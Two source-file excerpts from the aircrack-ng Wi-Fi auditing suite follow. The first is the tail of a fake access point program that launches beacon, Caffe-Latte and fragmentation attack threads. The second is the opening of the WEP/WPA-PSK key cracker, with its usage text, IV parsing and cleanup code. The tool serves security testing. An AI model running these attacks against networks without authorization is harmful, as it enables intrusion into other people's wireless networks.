dev.fd_in = dev.fd_out;
}
/* drop privileges */
if (setuid(getuid()) == -1)
{
perror("setuid");
}
/* XXX */
if (opt.r_nbpps == 0)
{
if (dev.is_wlanng || dev.is_hostap)
opt.r_nbpps = 200;
else
opt.r_nbpps = 500;
}
if (lopt.record_data)
if (dump_initialize(lopt.dump_prefix)) return (EXIT_FAILURE);
if (opt.s_file != NULL)
{
if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
{
perror("open failed");
return (EXIT_FAILURE);
}
n = sizeof(struct pcap_file_header);
if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
{
perror("fread(pcap file header) failed");
return (EXIT_FAILURE);
}
if (dev.pfh_in.magic != TCPDUMP_MAGIC
&& dev.pfh_in.magic != TCPDUMP_CIGAM)
{
fprintf(stderr,
"\"%s\" isn't a pcap file (expected "
"TCPDUMP_MAGIC).\n",
opt.s_file);
return (EXIT_FAILURE);
}
if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
{
fprintf(stderr,
"Wrong linktype from pcap file header "
"(expected LINKTYPE_IEEE802_11) -\n"
"this doesn't look like a regular 802.11 "
"capture.\n");
return (EXIT_FAILURE);
}
}
dev.dv_ti = ti_open(NULL);
if (!dev.dv_ti)
{
printf("error opening tap device: %s\n", strerror(errno));
return (EXIT_FAILURE);
}
if (!opt.quiet)
{
PCT;
printf("Created tap interface %s\n", ti_name(dev.dv_ti));
}
// Set MTU on tun/tap interface to a preferred value
if (!opt.quiet)
{
PCT;
printf(
"Trying to set MTU on %s to %i\n", ti_name(dev.dv_ti), lopt.ti_mtu);
}
if (ti_set_mtu(dev.dv_ti, lopt.ti_mtu) != 0)
{
if (!opt.quiet)
{
printf("error setting MTU on %s\n", ti_name(dev.dv_ti));
}
lopt.ti_mtu = ti_get_mtu(dev.dv_ti);
if (!opt.quiet)
{
PCT;
printf(
"MTU on %s remains at %i\n", ti_name(dev.dv_ti), lopt.ti_mtu);
}
}
// Set MTU on wireless interface to a preferred value
if (wi_get_mtu(_wi_out) < lopt.wif_mtu)
{
if (!opt.quiet)
{
PCT;
printf("Trying to set MTU on %s to %i\n",
_wi_out->wi_interface,
lopt.wif_mtu);
}
if (wi_set_mtu(_wi_out, lopt.wif_mtu) != 0)
{
lopt.wif_mtu = wi_get_mtu(_wi_out);
if (!opt.quiet)
{
printf("error setting MTU on %s\n", _wi_out->wi_interface);
PCT;
printf("MTU on %s remains at %i\n",
_wi_out->wi_interface,
lopt.wif_mtu);
}
}
}
if (lopt.external)
{
dev.dv_ti2 = ti_open(NULL);
if (!dev.dv_ti2)
{
printf("error opening tap device: %s\n", strerror(errno));
return (EXIT_FAILURE);
}
if (!opt.quiet)
{
PCT;
printf("Created tap interface %s for external processing.\n",
ti_name(dev.dv_ti2));
printf("You need to get the interfaces up, read the fames "
"[,modify]\n");
printf("and send them back through the same interface \"%s\".\n",
ti_name(dev.dv_ti2));
}
}
if (lopt.channel > 0) wi_set_channel(_wi_out, lopt.channel);
if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0 && !lopt.adhoc)
{
wi_get_mac(_wi_out, opt.r_bssid);
}
if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
{
wi_get_mac(_wi_out, opt.r_smac);
}
if (lopt.adhoc)
{
for (i = 0; i < 6; i++) // random cell
opt.r_bssid[i] = rand_u8();
// generate an even first byte
if (opt.r_bssid[0] & 0x01) opt.r_bssid[0] ^= 0x01;
}
memcpy(apc.bssid, opt.r_bssid, 6);
if (getESSIDcount() == 1 && lopt.hidden != 1)
{
apc.essid = (char *) malloc(MAX_IE_ELEMENT_SIZE + 1);
ALLEGE(apc.essid != NULL);
apc.essid_len = getESSID(apc.essid);
apc.essid = (char *) realloc((void *) apc.essid, apc.essid_len + 1u);
ALLEGE(apc.essid != NULL);
apc.essid[apc.essid_len] = 0x00;
}
else
{
apc.essid = "\x00";
apc.essid_len = 1;
}
apc.interval = lopt.interval;
apc.capa[0] = 0x00;
if (lopt.adhoc)
apc.capa[0] |= 0x02;
else
apc.capa[0] |= 0x01;
if ((opt.crypt == CRYPT_WEP && lopt.setWEP == -1) || lopt.setWEP == 1)
apc.capa[0] |= 0x10;
apc.capa[1] = 0x04;
if (ti_set_mac(dev.dv_ti, opt.r_bssid) != 0)
{
printf("\n");
perror("ti_set_mac failed");
printf(
"You most probably want to set the MAC of your TAP interface.\n");
printf("ifconfig <iface> hw ether %02X:%02X:%02X:%02X:%02X:%02X\n\n\n",
opt.r_bssid[0],
opt.r_bssid[1],
opt.r_bssid[2],
opt.r_bssid[3],
opt.r_bssid[4],
opt.r_bssid[5]);
}
if (lopt.external)
{
if (ti_set_mac(dev.dv_ti2, (unsigned char *) "\xba\x98\x76\x54\x32\x10")
!= 0)
{
printf("Couldn't set MAC on interface \"%s\".\n",
ti_name(dev.dv_ti2));
}
}
// start sending beacons
if (pthread_create(&(beaconpid), NULL, &beacon_thread, (void *) &apc) != 0)
{
perror("Beacons pthread_create");
return (EXIT_FAILURE);
}
if (lopt.caffelatte)
{
arp = (struct ARP_req *) malloc(opt.ringbuffer
* sizeof(struct ARP_req));
ALLEGE(arp != NULL);
if (pthread_create(&(caffelattepid), NULL, &caffelatte_thread, NULL)
!= 0)
{
perror("Caffe-Latte pthread_create");
return (EXIT_FAILURE);
}
}
if (lopt.cf_attack)
{
if (pthread_create(&(cfragpid), NULL, &cfrag_thread, NULL) != 0)
{
perror("cfrag pthread_create");
return (EXIT_FAILURE);
}
}
if (!opt.quiet)
{
if (lopt.adhoc)
{
PCT;
printf("Sending beacons in Ad-Hoc mode for Cell "
"%02X:%02X:%02X:%02X:%02X:%02X.\n",
opt.r_bssid[0],
opt.r_bssid[1],
opt.r_bssid[2],
opt.r_bssid[3],
opt.r_bssid[4],
opt.r_bssid[5]);
}
else
{
PCT;
printf("Access Point with BSSID %02X:%02X:%02X:%02X:%02X:%02X "
"started.\n",
opt.r_bssid[0],
opt.r_bssid[1],
opt.r_bssid[2],
opt.r_bssid[3],
opt.r_bssid[4],
opt.r_bssid[5]);
}
}
for (;;)
{
if (opt.s_file != NULL)
{
n = sizeof(pkh);
if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
{
PCT;
printf("Finished reading input file %s.\n", opt.s_file);
opt.s_file = NULL;
continue;
}
if (dev.pfh_in.magic == TCPDUMP_CIGAM)
{
SWAP32(pkh.caplen);
SWAP32(pkh.len);
}
n = caplen = pkh.caplen;
if (n <= 0 || n > (int) sizeof(h80211))
{
PCT;
printf("Finished reading input file %s.\n", opt.s_file);
opt.s_file = NULL;
continue;
}
if (fread(h80211, n, 1, dev.f_cap_in) != 1)
{
PCT;
printf("Finished reading input file %s.\n", opt.s_file);
opt.s_file = NULL;
continue;
}
if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
{
if (h80211[7] == 0x40)
n = 64;
else
n = *(int *) (h80211 + 4); //-V1032
if (n < 8 || n >= (int) caplen) continue;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
{
/* remove the radiotap header */
n = *(unsigned short *) (h80211 + 2);
if (n <= 0 || n >= (int) caplen) continue;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
{
/* remove the PPI header */
n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
if (n <= 0 || n >= (int) caplen) continue;
/* for a while Kismet logged broken PPI headers */
if (n == 24
&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
n = 32;
if (n <= 0 || n >= (int) caplen) continue; //-V560
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
packet_recv(h80211, caplen, &apc, (lopt.external & EXT_IN));
msleep(1000 / opt.r_nbpps);
continue;
}
FD_ZERO(&read_fds);
FD_SET(dev.fd_in, &read_fds);
FD_SET(ti_fd(dev.dv_ti), &read_fds);
if (lopt.external)
{
FD_SET(ti_fd(dev.dv_ti2), &read_fds);
ret_val = select(
MAX(ti_fd(dev.dv_ti), MAX(ti_fd(dev.dv_ti2), dev.fd_in)) + 1,
&read_fds,
NULL,
NULL,
NULL);
}
else
ret_val = select(MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1,
&read_fds,
NULL,
NULL,
NULL);
if (ret_val < 0) break;
if (ret_val > 0)
{
if (FD_ISSET(ti_fd(dev.dv_ti), &read_fds))
{
len = ti_read(dev.dv_ti, buffer, sizeof(buffer));
if (len > 0)
{
packet_xmit(buffer, len);
}
}
if (lopt.external && FD_ISSET(ti_fd(dev.dv_ti2), &read_fds))
{
len = ti_read(dev.dv_ti2, buffer, sizeof(buffer));
if (len > 0)
{
packet_xmit_external(buffer, len, &apc);
}
}
if (FD_ISSET(dev.fd_in, &read_fds))
{
len = read_packet(_wi_in, buffer, sizeof(buffer), NULL);
if (len > 0)
{
packet_recv(buffer, len, &apc, (lopt.external & EXT_IN));
}
}
} // if( ret_val > 0 )
} // for( ; ; )
ti_close(dev.dv_ti);
/* that's all, folks */
return (EXIT_SUCCESS);
} |
C | aircrack-ng/src/aircrack-ng/aircrack-ng.c | /*
* 802.11 WEP / WPA-PSK Key Cracker
*
* Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
* Copyright (C) 2004, 2005 Christophe Devine
*
* Advanced WEP attacks developed by KoreK
* WPA-PSK attack code developed by Joshua Wright
* SHA1 MMX assembly code written by Simon Marechal
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#define _GNU_SOURCE
#include <ctype.h>
#include <dlfcn.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <float.h>
#include <getopt.h>
#include <limits.h>
#include <math.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/ce-wpa/crypto_engine.h"
#include "aircrack-ng/aircrack-ng.h"
#include "aircrack-ng/osdep/byteorder.h"
#include "radiotap/platform.h"
#include "aircrack-ng/adt/avl_tree.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/tui/console.h"
#include "aircrack-ng/cpu/cpuset.h"
#include "aircrack-ng/support/crypto_engine_loader.h"
#include "aircrack-ng/cpu/simd_cpuid.h"
#include "aircrack-ng/cpu/trampoline.h"
#include "aircrack-ng/cowpatty/cowpatty.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/third-party/hashcat.h"
#include "linecount.h"
#include "aircrack-ng/support/pcap_local.h"
#include "session.h"
#include "aircrack-ng/ce-wep/uniqueiv.h"
#include "aircrack-ng/version.h"
#include "wkp-frame.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/third-party/ieee80211.h"
#include "aircrack-ng/third-party/ethernet.h"
#ifdef HAVE_SQLITE
#include <sqlite3.h>
static sqlite3 * db = NULL; //-V707
#else
static char * db = NULL; ///-V707
#endif
#ifndef DYNAMIC
#define DYNAMIC 1
#endif
#define MIN_WPA_PASSPHRASE_LEN 2U
#define H16800_PMKID_LEN 32
#define H16800_BSSID_LEN 12
#define H16800_STMAC_LEN 12
#define SECOND_TO_MICROSEC 1e6
/** Maximum duration over all four messages used in EAPOL 802.1x
* authentication. Value must be in microseconds.
*/
static const uint64_t eapol_max_fourway_timeout = 5 * SECOND_TO_MICROSEC;
/** Maximum duration between each of the four messages used in
* EAPOL 802.1x authentication. Value must be in microseconds.
*/
static const uint64_t eapol_interframe_timeout = SECOND_TO_MICROSEC;
/* stats global data */
static volatile int wpa_cracked = 0;
static int _pmkid_16800 = 0;
static uint8_t _pmkid_16800_str[H16800_PMKID_LEN + H16800_BSSID_LEN
+ H16800_STMAC_LEN + MAX_PASSPHRASE_LENGTH + 3];
static int _speed_test;
static long _speed_test_length = 15;
static struct timeval t_begin; /* time at start of attack */
static struct timeval t_stats; /* time since last update */
static struct timeval t_kprev; /* time at start of window */
static struct timeval t_dictup; /* next dictionary total read */
static volatile size_t nb_kprev; /* last # of keys tried */
static volatile size_t nb_tried; /* total # of keys tried */
static ac_crypto_engine_t engine; /* crypto engine */
static int first_wpa_threadid = 0;
/* IPC global data */
static struct options opt;
static struct WEP_data wep __attribute__((aligned(64)));
static c_avl_tree_t * access_points = NULL;
static c_avl_tree_t * targets = NULL;
static pthread_mutex_t mx_apl; /* lock write access to ap LL */
static pthread_mutex_t mx_eof; /* lock write access to nb_eof */
static pthread_mutex_t mx_ivb; /* lock access to ivbuf array */
static pthread_mutex_t mx_dic; /* lock access to opt.dict */
static pthread_cond_t cv_eof; /* read EOF condition variable */
static int nb_eof = 0; /* # of threads who reached eof */
static volatile long nb_pkt = 0; /* # of packets read so far */
static volatile long nb_prev_pkt = 0; /* # of packets read in prior pass */
static int mc_pipe[256][2]; /* master->child control pipe */
static int cm_pipe[256][2]; /* child->master results pipe */
static int bf_pipe[256][2]; /* bruteforcer 'queue' pipe */
static int bf_nkeys[256];
static unsigned char bf_wepkey[64];
static volatile int wepkey_crack_success = 0;
static volatile int close_aircrack = 0;
static volatile int close_aircrack_fast = 0;
static int id = 0; //-V707
static pthread_t tid[MAX_THREADS] = {0};
static pthread_t cracking_session_tid;
static struct WPA_data wpa_data[MAX_THREADS];
static volatile int wpa_wordlists_done = 0;
static pthread_mutex_t mx_nb = PTHREAD_MUTEX_INITIALIZER;
static pthread_mutex_t mx_wpastats = PTHREAD_MUTEX_INITIALIZER;
static ac_cpuset_t * g_cpuset = NULL;
typedef struct
{
uint8_t mode;
char * filename;
} packet_reader_t;
#define PACKET_READER_CHECK_MODE 0
#define PACKET_READER_READ_MODE 1
typedef struct
{
int tail;
int off1;
int off2;
void * buf1;
void * buf2;
} read_buf;
static int K_COEFF[N_ATTACKS]
= {15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20};
static int PTW_DEFAULTWEIGHT[1] = {256};
static int PTW_DEFAULTBF[PTW_KEYHSBYTES]
= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
static const unsigned char R[256] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29,
30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44,
45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59,
60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74,
75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89,
90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104,
105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119,
120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134,
135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149,
150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164,
165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179,
180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194,
195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209,
210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224,
225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254,
255};
static const char usage[]
= "\n"
" %s - (C) 2006-2022 Thomas d\'Otreppe\n"
" https://www.aircrack-ng.org\n"
"\n"
" usage: aircrack-ng [options] <input file(s)>\n"
"\n"
" Common options:\n"
"\n"
" -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)\n"
" -e <essid> : target selection: network identifier\n"
" -b <bssid> : target selection: access point's MAC\n"
" -p <nbcpu> : # of CPU to use (default: all CPUs)\n"
" -q : enable quiet mode (no status output)\n"
" -C <macs> : merge the given APs to a virtual one\n"
" -l <file> : write key to file. Overwrites file.\n"
"\n"
" Static WEP cracking options:\n"
"\n"
" -c : search alphanumeric characters only\n"
" -t : search binary coded decimal chr only\n"
" -h : search the numeric key for Fritz!BOX\n"
" -d <mask> : use masking of the key (A1:XX:CF:YY)\n"
" -m <maddr> : MAC address to filter usable packets\n"
" -n <nbits> : WEP key length : 64/128/152/256/512\n"
" -i <index> : WEP key index (1 to 4), default: any\n"
" -f <fudge> : bruteforce fudge factor, default: 2\n"
" -k <korek> : disable one attack method (1 to 17)\n"
" -x or -x0 : disable bruteforce for last keybytes\n"
" -x1 : last keybyte bruteforcing (default)\n"
" -x2 : enable last 2 keybytes bruteforcing"
"%s"
" -y : experimental single bruteforce mode\n"
" -K : use only old KoreK attacks (pre-PTW)\n"
" -s : show the key in ASCII while cracking\n"
" -M <num> : specify maximum number of IVs to use\n"
" -D : WEP decloak, skips broken keystreams\n"
" -P <num> : PTW debug: 1: disable Klein, 2: PTW\n"
" -1 : run only 1 try to crack key with PTW\n"
" -V : run in visual inspection mode\n"
"\n"
" WEP and WPA-PSK cracking options:\n"
"\n"
" -w <words> : path to wordlist(s) filename(s)\n"
" -N <file> : path to new session filename\n"
" -R <file> : path to existing session filename\n"
"\n"
" WPA-PSK options:\n"
"\n"
" -E <file> : create EWSA Project file v3\n"
" -I <str> : PMKID string (hashcat -m 16800)\n"
" -j <file> : create Hashcat v3.6+ file (HCCAPX)\n"
" -J <file> : create Hashcat file (HCCAP)\n"
" -S : WPA cracking speed test\n"
" -Z <sec> : WPA cracking speed test length of\n"
" execution.\n"
#ifdef HAVE_SQLITE
" -r <DB> : path to airolib-ng database\n"
" (Cannot be used with -w)\n"
#endif
#if DYNAMIC
"\n"
" SIMD selection:\n"
"\n"
" --simd-list : Show a list of the available\n"
" SIMD architectures, for this\n"
" machine.\n"
" --simd=<option> : Use specific SIMD architecture.\n"
"\n"
" <option> may be one of the following, depending on\n"
" your platform:\n"
"\n"
" generic\n"
" avx512\n"
" avx2\n"
" avx\n"
" sse2\n"
" altivec\n"
" power8\n"
" asimd\n"
" neon\n"
#endif
"\n"
" Other options:\n"
"\n"
" -u : Displays # of CPUs & SIMD support\n"
" --help : Displays this usage screen\n"
"\n";
static struct session * cracking_session = NULL;
static char * progname = NULL;
static inline float chrono(struct timeval * start, int reset);
static ssize_t safe_write(int fd, void * buf, size_t len);
static struct AP_info * hccapx_to_ap(struct hccapx * hx);
static inline int append_ap(struct AP_info * new_ap)
{
REQUIRE(new_ap != NULL);
return (c_avl_insert(access_points, new_ap->bssid, new_ap));
}
static long load_hccapx_file(int fd)
{
REQUIRE(fd >= 0);
hccapx_t hx;
struct AP_info * ap_cur = NULL;
lseek(fd, 0, SEEK_SET);
while (read(fd, &hx, sizeof(hccapx_t)) > 0)
{
nb_pkt++;
ap_cur = hccapx_to_ap(&hx);
append_ap(ap_cur);
}
return (nb_pkt);
}
static struct AP_info * get_first_target(void)
{
struct AP_info * target = NULL;
void * key;
c_avl_iterator_t * it = c_avl_get_iterator(targets);
c_avl_iterator_next(it, &key, (void **) &target);
c_avl_iterator_destroy(it);
return (target);
}
static void destroy_ap(struct AP_info * ap)
{
REQUIRE(ap != NULL);
struct ST_info * st_tmp = NULL;
destroy(ap->ivbuf, free);
if (ap->stations != NULL)
{
void * key = NULL;
while (c_avl_pick(ap->stations, &key, (void **) &st_tmp) == 0)
{
INVARIANT(st_tmp != NULL);
free(st_tmp);
}
c_avl_destroy(ap->stations);
ap->stations = NULL;
}
destroy(ap->uiv_root, uniqueiv_wipe);
if (ap->ptw_clean)
{
destroy(ap->ptw_clean->allsessions, free);
free(ap->ptw_clean);
}
if (ap->ptw_vague)
{
destroy(ap->ptw_vague->allsessions, free);
free(ap->ptw_vague);
}
}
static void ac_aplist_free(void)
{
ALLEGE(pthread_mutex_lock(&mx_apl) == 0);
struct AP_info * ap_cur = NULL;
void * key;
while (c_avl_pick(access_points, &key, (void **) &ap_cur) == 0)
{
INVARIANT(ap_cur != NULL);
destroy(ap_cur, destroy_ap);
}
ALLEGE(pthread_mutex_unlock(&mx_apl) == 0);
}
/**
* Release all unused AP base-stations stored in \a access_points, keeping
* only the specified \a ap_cur AP base-station.
*
* @param ap_cur The AP base-station to keep.
*/
static void ap_avl_release_unused(struct AP_info * ap_cur)
{
REQUIRE(ap_cur != NULL);
c_avl_tree_t * tmp_access_points = c_avl_create(station_compare);
c_avl_insert(tmp_access_points, ap_cur->bssid, ap_cur);
ALLEGE(pthread_mutex_lock(&mx_apl) == 0);
void * key = NULL;
struct AP_info * ap_tmp = NULL;
while (c_avl_pick(access_points, &key, (void **) &ap_tmp) == 0)
{
INVARIANT(ap_tmp != NULL);
if (ap_tmp != ap_cur)
{
destroy_ap(ap_tmp);
free(ap_tmp);
}
}
c_avl_destroy(access_points);
access_points = tmp_access_points;
ALLEGE(pthread_mutex_unlock(&mx_apl) == 0);
}
static int
add_wep_iv(struct AP_info * ap, unsigned char * buffer, packet_reader_t * me)
{
REQUIRE(ap != NULL);
REQUIRE(buffer != NULL);
/* check for uniqueness first */
if (ap->nb_ivs == 0) ap->uiv_root = uniqueiv_init();
if (uniqueiv_check(ap->uiv_root, buffer) == 0)
{
if (me->mode == PACKET_READER_READ_MODE)
{
/* add the IV & first two encrypted bytes */
long n = ap->nb_ivs * 5;
if (n + 5 > ap->ivbuf_size || ap->ivbuf == NULL)
{
/* enlarge the IVs buffer */
ap->ivbuf_size += 131072;
uint8_t * tmp_ivbuf
= realloc(ap->ivbuf, (size_t) ap->ivbuf_size);
if (tmp_ivbuf == NULL)
{
perror("realloc failed");
return (-1);
}
ap->ivbuf = tmp_ivbuf;
}
memcpy(ap->ivbuf + n, buffer, 5);
}
uniqueiv_mark(ap->uiv_root, buffer);
ap->nb_ivs++;
}
return (0);
}
static int parse_ivs2(struct AP_info * ap_cur,
struct ivs2_pkthdr * pivs2,
unsigned char * buffer,
packet_reader_t * me)
{
REQUIRE(ap_cur != NULL);
REQUIRE(pivs2 != NULL);
REQUIRE(buffer != NULL);
int weight[16];
struct ivs2_pkthdr ivs2 = *pivs2;
long n = 0;
if (ivs2.flags & IVS2_ESSID)
{
memcpy(ap_cur->essid, buffer, ivs2.len);
}
else if (ivs2.flags & IVS2_XOR)
{
ap_cur->crypt = 2;
if (opt.do_ptw)
{
int clearsize;
clearsize = ivs2.len;
if (clearsize < opt.keylen + 3) return (-2);
if (PTW_addsession(ap_cur->ptw_clean,
buffer,
buffer + 4,
PTW_DEFAULTWEIGHT,
1))
ap_cur->nb_ivs_clean++;
if (PTW_addsession(ap_cur->ptw_vague,
buffer,
buffer + 4,
PTW_DEFAULTWEIGHT,
1))
ap_cur->nb_ivs_vague++;
return (-2);
}
buffer[3] = buffer[4];
buffer[4] = buffer[5];
buffer[3] ^= 0xAA;
buffer[4] ^= 0xAA;
/* check for uniqueness first */
if (ap_cur->nb_ivs == 0) ap_cur->uiv_root = uniqueiv_init();
if (uniqueiv_check(ap_cur->uiv_root, buffer) == 0)
{
if (me->mode == PACKET_READER_READ_MODE)
{
/* add the IV & first two encrypted bytes */
n = ap_cur->nb_ivs * 5;
if (n + 5 > ap_cur->ivbuf_size)
{
/* enlarge the IVs buffer */
ap_cur->ivbuf_size += 131072;
uint8_t * tmp_ivbuf
= realloc(ap_cur->ivbuf, (size_t) ap_cur->ivbuf_size);
if (tmp_ivbuf == NULL)
{
perror("realloc failed");
return (-1);
}
ap_cur->ivbuf = tmp_ivbuf;
}
memcpy(ap_cur->ivbuf + n, buffer, 5);
}
uniqueiv_mark(ap_cur->uiv_root, buffer);
ap_cur->nb_ivs++;
}
}
else if (ivs2.flags & IVS2_PTW)
{
ap_cur->crypt = 2;
if (opt.do_ptw)
{
int clearsize;
clearsize = ivs2.len;
if (buffer[5] < opt.keylen) return (-4);
if (clearsize < (6 + buffer[4] * 32 + 16 * (signed) sizeof(int)))
return (-5);
memcpy(weight,
buffer + clearsize - 15 * sizeof(int),
16 * sizeof(int));
ALLEGE(ap_cur->ptw_vague != NULL);
if (PTW_addsession(
ap_cur->ptw_vague, buffer, buffer + 6, weight, buffer[4]))
ap_cur->nb_ivs_vague++;
return (-6);
}
buffer[3] = buffer[6];
buffer[4] = buffer[7];
buffer[3] ^= 0xAA;
buffer[4] ^= 0xAA;
/* check for uniqueness first */
if (ap_cur->nb_ivs == 0) ap_cur->uiv_root = uniqueiv_init();
if (uniqueiv_check(ap_cur->uiv_root, buffer) == 0)
{
if (me->mode == PACKET_READER_READ_MODE)
{
/* add the IV & first two encrypted bytes */
n = ap_cur->nb_ivs * 5;
if (n + 5 > ap_cur->ivbuf_size)
{
/* enlarge the IVs buffer */
ap_cur->ivbuf_size += 131072;
uint8_t * tmp_ivbuf
= realloc(ap_cur->ivbuf, (size_t) ap_cur->ivbuf_size);
if (tmp_ivbuf == NULL)
{
perror("realloc failed");
return (-1);
}
ap_cur->ivbuf = tmp_ivbuf;
}
memcpy(ap_cur->ivbuf + n, buffer, 5);
}
uniqueiv_mark(ap_cur->uiv_root, buffer);
ap_cur->nb_ivs++;
}
}
else if (ivs2.flags & IVS2_WPA)
{
ap_cur->crypt = 3;
memcpy(&ap_cur->wpa, buffer, sizeof(struct WPA_hdsk));
}
return (0);
}
static __attribute__((noinline)) void clean_exit(int ret)
{
int i = 0;
char tmpbuf[128];
memset(tmpbuf, 0, 128);
close_aircrack = 1;
if (ret)
{
if (!opt.is_quiet)
{
printf("\nQuitting aircrack-ng...\n");
fflush(stdout);
}
close_aircrack_fast = 1;
return;
}
if (opt.dict)
{
ALLEGE(fclose(opt.dict) == 0);
ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
opt.dict = NULL;
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
}
for (i = 0; i < opt.nbcpu; i++)
{
#ifndef CYGWIN
if (mc_pipe[i][1] != -1)
safe_write(mc_pipe[i][1], (void *) "EXIT\r", 5);
if (bf_pipe[i][1] != -1) safe_write(bf_pipe[i][1], (void *) tmpbuf, 64);
#endif
if (mc_pipe[i][0] != -1) close(mc_pipe[i][0]);
if (mc_pipe[i][1] != -1) close(mc_pipe[i][1]);
if (cm_pipe[i][0] != -1) close(cm_pipe[i][0]);
if (cm_pipe[i][1] != -1) close(cm_pipe[i][1]);
if (bf_pipe[i][0] != -1) close(bf_pipe[i][0]);
if (bf_pipe[i][1] != -1) close(bf_pipe[i][1]);
mc_pipe[i][0] = mc_pipe[i][1] = -1;
cm_pipe[i][0] = cm_pipe[i][1] = -1;
bf_pipe[i][0] = bf_pipe[i][1] = -1;
}
// Stop cracking session thread
if (cracking_session)
{
ALLEGE(pthread_join(cracking_session_tid, NULL) == 0);
}
for (i = 0; i < opt.nbcpu; i++)
if (tid[i] != 0)
{
ALLEGE(pthread_join(tid[i], NULL) == 0);
tid[i] = 0;
}
for (i = 0; i < opt.nbcpu; i++)
{
destroy(wpa_data[i].cqueue, circular_queue_free);
destroy(wpa_data[i].key_buffer, free);
if (wpa_data[i].thread == i)
{
/* ALLEGE(*/ pthread_mutex_destroy(&(wpa_data[i].mutex)) /* == 0)*/;
}
}
ALLEGE(pthread_cond_destroy(&cv_eof) == 0);
dso_ac_crypto_engine_destroy(&engine);
ac_crypto_engine_loader_unload();
if (g_cpuset != NULL)
{
ac_cpuset_destroy(g_cpuset);
ac_cpuset_free(g_cpuset);
}
if (opt.totaldicts)
{
for (i = 0; i < opt.totaldicts; i++)
{
destroy(opt.dicts[i], free);
}
}
destroy(wep.ivbuf, free);
destroy(opt.logKeyToFile, free);
ac_aplist_free();
destroy(access_points, c_avl_destroy);
destroy(targets, c_avl_destroy);
#ifdef HAVE_SQLITE
destroy(db, sqlite3_close);
#endif
destroy(progname, free);
if (cracking_session)
{
// TODO: Delete file when cracking fails
if (opt.dictfinish || wepkey_crack_success || wpa_wordlists_done
|| nb_tried == opt.wordcount)
{
ac_session_destroy(cracking_session);
}
ac_session_free(&cracking_session);
}
fflush(stdout);
fflush(stderr);
